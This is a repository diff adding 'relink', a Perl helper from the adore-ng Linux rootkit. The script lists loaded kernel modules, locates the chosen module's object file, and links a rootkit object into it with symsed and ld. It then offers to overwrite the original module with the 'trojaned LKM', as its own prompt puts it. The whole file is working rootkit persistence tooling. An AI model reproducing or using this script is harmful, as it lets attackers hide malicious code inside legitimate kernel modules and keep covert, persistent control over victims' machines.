diff options
Diffstat (limited to 'other/adore-ng/relink')
| -rwxr-xr-x | other/adore-ng/relink | 46 |
1 files changed, 46 insertions, 0 deletions
diff --git a/other/adore-ng/relink b/other/adore-ng/relink new file mode 100755 index 0000000..368a3a3 --- /dev/null +++ b/other/adore-ng/relink | |||
| @@ -0,0 +1,46 @@ | |||
| 1 | #!/usr/bin/perl | ||
| 2 | |||
| 3 | $| = 1; | ||
| 4 | open(I, "</proc/modules") || die $!; | ||
| 5 | |||
| 6 | print "The following LKMs are available:\n\n"; | ||
| 7 | $i = 0; | ||
| 8 | while ($_ = <I>) { | ||
| 9 | if (($i++ % 5) == 0) { | ||
| 10 | print "\n"; | ||
| 11 | } | ||
| 12 | /(\w+) /; | ||
| 13 | $module = $1; | ||
| 14 | print "$module "; | ||
| 15 | } | ||
| 16 | |||
| 17 | print "\n\nChose one: "; | ||
| 18 | $lkm = <STDIN>; | ||
| 19 | $lkm =~ s/\n//; | ||
| 20 | print "Choice was >>>$lkm<<<\n"; | ||
| 21 | print "Searching for $lkm.o ...\n"; | ||
| 22 | |||
| 23 | $u = `uname -r`; | ||
| 24 | $u =~ s/\n//; | ||
| 25 | $lkm_path = `find /lib/modules/$u -name $lkm.o`; | ||
| 26 | $lkm_path =~ s/\n//; | ||
| 27 | if ($lkm_path eq "") { | ||
| 28 | print "No LKM with that name found!\n"; | ||
| 29 | exit; | ||
| 30 | } | ||
| 31 | |||
| 32 | print "Found $lkm_path!\n"; | ||
| 33 | |||
| 34 | system("cp $lkm_path t.o"); | ||
| 35 | system("./symsed t.o zero;ld -r t.o zero.o -o z.o; rm -f t.o"); | ||
| 36 | print "\nCopy trojaned LKM back to original LKM? (y/n)\n"; | ||
| 37 | |||
| 38 | while ($yn !~ /^(y|n)$/i) { | ||
| 39 | $yn = <STDIN>; | ||
| 40 | $yn =~ s/\n//; | ||
| 41 | } | ||
| 42 | |||
| 43 | if ($yn =~ /y/i) { | ||
| 44 | system("cp z.o $lkm_path"); | ||
| 45 | } | ||
| 46 | |||
